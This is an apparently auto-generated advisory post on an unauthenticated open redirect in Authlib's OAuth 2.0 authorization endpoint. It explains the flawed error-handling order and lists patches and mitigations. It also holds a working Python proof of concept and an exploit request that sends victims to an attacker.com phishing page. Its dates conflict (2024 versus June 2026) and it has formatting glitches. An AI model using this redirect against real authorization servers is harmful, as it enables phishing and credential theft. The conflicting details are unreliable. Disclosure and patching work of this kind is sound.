Authlib OAuth 20 Authorization Server, Unauthenticated Open Redirect, GHSA-w8p2-r796-3vmq (Critical) -DC-Jun2026-280

Listen to this Post

The vulnerability exploits Authlib’s OAuth 2.0 authorization endpoint by sending an unsupported `response_type` parameter alongside an attacker‑controlled redirect_uri. Under normal OAuth flow, the server validates the client and the redirect URI before any redirect. However, in vulnerable versions, an unsupported `response_type` triggers an `UnsupportedResponseTypeError` exception before client lookup or URI validation occurs. This error object is instantiated with the raw `redirect_uri` from the request payload, without any checks. When the error is later rendered by OAuth2Error.__call__(), the presence of a non‑empty `self.redirect_uri` causes the method to return a 302 HTTP redirect to that URI, appending error parameters (error, error_description, state) as query string fragments. Because the error is raised before the server resolves a client ID, verifies any registered redirect URIs, or checks for an authenticated user, the attack requires no prior state, no valid client registration, and no user interaction other than luring a victim to a crafted URL. The vulnerable code path is present in `authlib/oauth2/rfc6749/authorization_server.py` (raising the error) and `authlib/oauth2/base.py` (handling the redirect). The issue was confirmed in tag v1.6.6 and in HEAD commit 68e6ab3 (v1.6.6‑104‑g68e6ab3f). A single GET request to the `/oauth/authorize` endpoint with ?response_type=unsupported&redirect_uri=https://evil.example` yields a 302 Location header pointing to the attacker’s domain. The same logic is reachable in both Flask and Django integrations following the documented authorization endpoint flow. The attack bypasses domain‑based allowlists because the trusted authorization server itself becomes an open redirector. This is not a configuration error; it is a design flaw in the error handling order. The proof‑of‑concept locally reproduced the behavior without any client registration, demonstrating that the only difference between a local error (no redirect) and an external redirect is the presence of the attacker’sredirect_uri. The advisory GHSA‑w8p2‑r796‑3vmq documents this flaw.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Authlib Python
Version: v1.6.6 to HEAD
Vulnerability: Unauthenticated open redirect
Severity: Critical
date: 2024-03-05
<h2 style="color: blue;">Prediction: 2024-03-05</h2>
<h2 style="color: blue;">What Undercode Say:</h2>

Clone and checkout vulnerable commit
git clone https://github.com/authlib/authlib.git
cd authlib
git checkout 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1
Setup virtual environment
python -m venv .venv
source .venv/bin/activate
pip install flask authlib
Run the PoC (from repository root)
export AUTHLIB_INSECURE_TRANSPORT=true
python - <<'PY'
import os, json
from flask import Flask, request
from authlib.integrations.flask_oauth2 import AuthorizationServer
from authlib.oauth2 import OAuth2Error
from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant
class AuthorizationCodeGrant(_AuthorizationCodeGrant):
def save_authorization_code(self, code, request): raise RuntimeError("not reached")
def query_authorization_code(self, code, client): return None
def delete_authorization_code(self, authorization_code): pass
def authenticate_user(self, authorization_code): return None
app = Flask(__name__)
app.secret_key = "testing"
server = AuthorizationServer(app, query_client=lambda client_id: None, save_token=lambda token, request: None)
server.register_grant(AuthorizationCodeGrant)
@app.route("/oauth/authorize", methods=["GET"])
def authorize():
try:
grant = server.get_consent_grant(end_user=None)
except OAuth2Error as error:
return server.handle_error_response(request, error)
return server.create_authorization_response(grant=grant, grant_user=None)
with app.test_client() as c:
r = c.get("/oauth/authorize?response_type=totally-unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1")
print(f"Status: {r.status_code}, Location: {r.headers.get('Location')}")
PY

<h2 style="color: blue;">Exploit:</h2>

GET /oauth/authorize?response_type=invalid&redirect_uri=https://attacker.com/phish&state=aaa HTTP/1.1
Host: auth-server.example.com

Victim clicks link → 302 redirect tohttps://attacker.com/phish?error=unsupported_response_type&error_description=invalid&state=aaa` → attacker controls final landing page (phishing, malware, etc.). No authentication or client registration required.

Protection:

  • Upgrade to Authlib ≥ commit `3be08468201a7766a93012ce149ea12822cab096` (post‑fix version v1.6.7 or later).
  • If patching is not immediate, override `handle_error_response` to strip `redirect_uri` from `UnsupportedResponseTypeError` before rendering.
  • Implement a middleware that rejects any authorization request with an unsupported `response_type` before it reaches the error handler.
  • Validate `redirect_uri` against a hardcoded allowlist at the very start of the endpoint.

Impact:

  • Unauthenticated open redirect allowing phishing and credential theft using the trusted authorization server’s domain as a redirector.
  • Bypass of domain allowlists that trust the OAuth server’s hostname.
  • Potential SSO confusion and further exploitation in ecosystems where authorization endpoints are assumed to validate redirect URIs before any redirect.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top